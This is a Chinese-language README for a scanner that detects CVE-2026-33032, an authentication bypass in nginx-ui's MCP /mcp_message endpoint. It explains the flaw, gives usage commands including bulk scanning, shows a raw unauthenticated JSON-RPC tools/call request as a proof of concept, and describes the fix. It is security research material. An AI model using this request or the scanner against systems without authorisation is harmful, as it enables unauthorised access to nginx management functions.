用于 Nginx-UI MCP 端点认证绕过的非破坏性漏洞扫描器
CVE-2026-33032 是 nginx-ui 的模型上下文协议(MCP)集成中的一个认证绕过漏洞。/mcp_message 端点在提供所有 MCP 工具访问权限的同时缺少认证中间件,允许远程攻击者:
认证不对称:/mcp 端点需要认证,但 /mcp_message 不需要:
r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), ...)
r.Any("/mcp_message", middleware.IPWhiteList(), ...) // 缺少 AuthRequired()
默认放行的 IP 白名单:默认 IP 白名单为空,中间件将其视为"允许所有"
两个端点共享处理器:两者都路由到同一个 mcp.ServeHTTP(),该处理器处理所有 MCP 工具调用
✅ 非破坏性测试 - 仅使用只读 MCP 工具
✅ 全面指纹识别 - 识别 nginx-ui 安装
✅ 安全的概念验证 - 不进行任何配置更改
✅ 批量扫描 - 从文件处理多个目标
✅ 详细报告 - 支持 JSON 输出以便集成
# 克隆或下载扫描器
git clone https://github.com/Twinson333/cve-2026-33032-scanner.git
cd cve-2026-33032
chmod +x cve-2026-33032-scanner.py
# 安装依赖(如需要)
pip3 install requests
# 扫描单个目标
python3 cve-2026-33032-scanner.py -u http://target.com:9000
# 使用详细输出进行扫描
python3 cve-2026-33032-scanner.py -u https://nginx-ui.example.com -v
# 自定义超时时间
python3 cve-2026-33032-scanner.py -u http://192.168.1.100:9000 -t 15
# 从文件扫描多个目标
python3 cve-2026-33032-scanner.py -f targets.txt
# 使用详细输出和 JSON 报告
python3 cve-2026-33032-scanner.py -f targets.txt -v -o results.json
# Burp Pingback
python3 cve-2026-33032-scanner.py -u http://target.com:9000 --collaborator abc123.burpcollaborator.net
# targets.txt - 每行一个 URL
http://192.168.1.100:9000
https://nginx-ui.corp.com
http://10.0.0.50:9000
扫描器执行多阶段检测过程:
检查常见的 nginx-ui 端点以识别安装:
/api/info - 版本信息/login - 登录页面/api/auth/login - 认证端点/mcp 和 /mcp_message - MCP 端点测试 /mcp 端点以验证其是否正确要求认证(基线)
尝试通过 /mcp_message 进行非破坏性 MCP 工具调用,无需认证:
如果任何工具在无需认证的情况下调用成功,则确认存在漏洞。
扫描器仅调用只读 MCP 工具:
| 工具 | 描述 | 影响 |
|---|---|---|
nginx_status | 读取 nginx 服务状态 | 无更改 |
nginx_config_list |
明确避免使用的工具:
nginx_config_add - 会创建文件nginx_config_modify - 会更改配置restart_nginx / reload_nginx - 服务中断nginx_config_enable - 会更改活动配置[+] 检测到 nginx-ui:在 /login 中发现 'nginx-ui'
[+] /mcp 端点已正确保护
[*] 正在测试 /mcp_message 端点(CVE-2026-33032)...
[*] 正在尝试工具:nginx_status - 读取 nginx 状态(最安全)
状态:200
======================================================================
[!] 存在 CVE-2026-33032 漏洞
======================================================================
证明:无需认证即可成功执行 nginx_status
[+] 检测到 nginx-ui:版本端点可访问
[+] /mcp 端点已正确保护
[*] 正在测试 /mcp_message 端点(CVE-2026-33032)...
[*] 正在尝试工具:nginx_status - 读取 nginx 状态(最安全)
状态:401
需要认证(已保护)✓
[+] 不存在漏洞 - 端点需要认证
如果确认存在漏洞:
立即修复:为 /mcp_message 添加认证中间件:
r.Any("/mcp_message", middleware.IPWhiteList(), middleware.AuthRequired(),
func(c *gin.Context) {
mcp.ServeHTTP(c)
})
纵深防御:
升级:在可用时更新到已修补的 nginx-ui 版本
此工具设计用于:
请勿在您不拥有或未经明确许可的系统上使用此工具。
报告此漏洞时:
严重性:严重(CVSS 9.8+)
证明:包含扫描器输出,显示成功的未认证 MCP 工具调用
影响链:
安全 PoC:仅使用只读工具(nginx_status、nginx_config_list)
POST /mcp_message HTTP/1.1
Content-Type: application/json
{
"jsonrpc": "2.0",
"method": "tools/call",
"params": {
"name": "nginx_status",
"arguments": {}
},
"id": 1
}
{
"jsonrpc": "2.0",
"result": {
"content": [
{
"type": "text",
"text": "nginx is running (PID: 1234)"
}
]
},
"id": 1
}
HTTP/1.1 401 Unauthorized
{
"error": "authentication required"
}
此工具仅用于教育和授权的安全测试目的。
Antony Esthak Twinson @ Cyber Tamarin
安全研究员 | 漏洞赏金猎人
专注于 Web 应用安全与漏洞研究
免责声明:此扫描器仅执行非破坏性测试。在测试任何系统之前,请务必获得适当的授权。
| 列出配置文件 |
| 无更改 |
nginx_config_base_path | 获取配置目录路径 | 无更改 |